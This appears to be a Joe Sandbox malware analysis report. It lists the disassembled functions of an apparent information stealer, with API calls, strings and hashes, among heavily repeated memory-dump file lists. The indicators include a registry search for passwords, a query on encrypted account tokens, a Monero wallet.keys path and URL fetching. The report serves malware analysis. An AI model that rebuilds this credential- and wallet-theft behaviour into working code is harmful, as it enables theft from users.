Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: ecd611b51ce0723e41b4e4dc27147cc9892ed5e6c42aede0b8a3d332545c7a6f
Instruction ID: 1d2b11e81db1f573283d452876b9a7bfe1e4eca9f9bf3fc508cd35eb0d463a86
Opcode Fuzzy Hash: ecd611b51ce0723e41b4e4dc27147cc9892ed5e6c42aede0b8a3d332545c7a6f
Instruction Fuzzy Hash: 4241A6B1D04348ABDF20EF94DC45BDEBBB8EF48704F144199F90967280D7786A84DBA5

Function 00F48100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0078F158,00000000,?,00F50E2C,00000000,?,00000000), ref: 00F48130
RtlAllocateHeap.NTDLL(00000000), ref: 00F48137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00F48158
__aulldiv.LIBCMT ref: 00F48172
__aulldiv.LIBCMT ref: 00F48180
wsprintfA.USER32 ref: 00F481AC

Strings

@, xrefs: 00F4814D
%d MB, xrefs: 00F481A3

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 5073fccb72c0af2bea913eb9d19f864a6147863445a143536ace1993c174b70e
Instruction ID: 457b02312d9797a332199dc6cfd0326120fdd770f3e722ed86915d9d52efb565
Opcode Fuzzy Hash: 5073fccb72c0af2bea913eb9d19f864a6147863445a143536ace1993c174b70e
Instruction Fuzzy Hash: 042160B1E44208ABDB14DFD4DC49FAFBBB8FB44B54F104119FA15BB280D77869018BA5

Function 00F372D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00F3733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00F373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00F3740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00F37452
HeapFree.KERNEL32(00000000), ref: 00F37459
task.LIBCPMTD ref: 00F37555

Strings

Password, xrefs: 00F37401

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 8ffa453f72f30677f42d5bc874e15067fd3a70570abf59cefdcc24ee33ba3a47
Instruction ID: 5532311240640ea17a347feba0cf27d945c18c8ae337a7ee842ca2531b402b6e
Opcode Fuzzy Hash: 8ffa453f72f30677f42d5bc874e15067fd3a70570abf59cefdcc24ee33ba3a47
Instruction Fuzzy Hash: 35613EB5D0425C9BDB24DB50DC41BDAB7B8BF44310F0481E9E689A6241DFB4ABC9DF90

Function 00F440B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0078E168,00000000,00020119,?), ref: 00F440F4
RegQueryValueExA.ADVAPI32(?,0078F338,00000000,00000000,00000000,000000FF), ref: 00F44118
RegCloseKey.ADVAPI32(?), ref: 00F44122
lstrcat.KERNEL32(?,00000000), ref: 00F44147
lstrcat.KERNEL32(?,0078F3E0), ref: 00F4415B

Strings

hx, xrefs: 00F440E8
hx, xrefs: 00F441B5

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID: hx$hx
API String ID: 690832082-939816975
Opcode ID: 0d66b3b44f2a0bf6c506ae1e1fe2b2cc3068e080a75b176d5ab1f866ab823373
Instruction ID: 2bde8a1aa4b24e811f9a725b2ed1a248d12078888428b7b02095d0abf241f7e4
Opcode Fuzzy Hash: 0d66b3b44f2a0bf6c506ae1e1fe2b2cc3068e080a75b176d5ab1f866ab823373
Instruction Fuzzy Hash: E04169B6D00108ABDB28FBA0EC46FEE777DBB88300F444558B62657185EA755BC88BD1

Function 00F3BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

lstrlen.KERNEL32(00000000), ref: 00F3BC9F

Part of subcall function 00F48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F48E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00F3BCCD
lstrlen.KERNEL32(00000000), ref: 00F3BDA5
lstrlen.KERNEL32(00000000), ref: 00F3BDB9

Strings

AccountId, xrefs: 00F3BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00F3BBEB
AccountTokens, xrefs: 00F3BB49
AccountTokens, xrefs: 00F3BABA

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: a4c5b7a1d0908cd11f6e7b5c32df28a4ee5fa3d0fd734702b42fbc194111ef22
Instruction ID: fac8b9fd1c0df0fe3b74474c9372f610cf57f20a58d3911fe67f921a7fedf6f5
Opcode Fuzzy Hash: a4c5b7a1d0908cd11f6e7b5c32df28a4ee5fa3d0fd734702b42fbc194111ef22
Instruction Fuzzy Hash: 70B15571950108ABEB14FBA0DC96EEE7738FF54304F404568F906A7191EF386E49EB62

Function 00F3A0A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00788B78,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00F3A0BD
LoadLibraryA.KERNEL32(007754E8), ref: 00F3A146

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A820: lstrlen.KERNEL32(00F34F05,?,?,00F34F05,00F50DDE), ref: 00F4A82B
Part of subcall function 00F4A820: lstrcpy.KERNEL32(00F50DDE,00000000), ref: 00F4A885

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

SetEnvironmentVariableA.KERNEL32(00788B78,00000000,00000000,?,00F512D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00F50AFE), ref: 00F3A132

Strings

hx, xrefs: 00F3A1C8
Tw, xrefs: 00F3A140
C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00F3A0B2, 00F3A0C6, 00F3A0DC

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;$hx$Tw
API String ID: 2929475105-2654008464
Opcode ID: 171a35853d9d992abcf984aae188a13daf7253a84af46917e514d32c0d6a26f1
Instruction ID: 590b92494c9d45c42e968a6c6b563fc306d0014a55ad5a2c30a959b5077ed415
Opcode Fuzzy Hash: 171a35853d9d992abcf984aae188a13daf7253a84af46917e514d32c0d6a26f1
Instruction Fuzzy Hash: 89414FB1905204AFD72CEFA5FD55AAE3774BF48312F180138F51593388DB399A84DB61

Function 00F34FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F34FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00F34FD1
InternetOpenA.WININET(00F50DDF,00000000,00000000,00000000,00000000), ref: 00F34FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00F35011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00F35041
InternetCloseHandle.WININET(?), ref: 00F350B9
InternetCloseHandle.WININET(?), ref: 00F350C6

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 7e04fa10d0ff8cce835667e66da5e92b23e9e16373df6886b92aad3999fde7fe
Instruction ID: 406424c000edbceb9d659e1420ebce4a261b291d35e774ebaa379d5af94c23cd
Opcode Fuzzy Hash: 7e04fa10d0ff8cce835667e66da5e92b23e9e16373df6886b92aad3999fde7fe
Instruction Fuzzy Hash: 223107B5A40218ABDB24CF54DC85BDCB7B4EB48704F1081E8EB09A7284CB756AC59F98

Function 00F483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F48426
wsprintfA.USER32 ref: 00F48459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00F4847B
RegCloseKey.ADVAPI32(00000000), ref: 00F4848C
RegCloseKey.ADVAPI32(00000000), ref: 00F48499

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

RegQueryValueExA.KERNEL32(00000000,0078F2A8,00000000,000F003F,?,00000400), ref: 00F484EC
lstrlen.KERNEL32(?), ref: 00F48501
RegQueryValueExA.KERNEL32(00000000,0078F1A0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00F50B34), ref: 00F48599
RegCloseKey.KERNEL32(00000000), ref: 00F48608
RegCloseKey.ADVAPI32(00000000), ref: 00F4861A

Strings

%s\%s, xrefs: 00F4844D

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
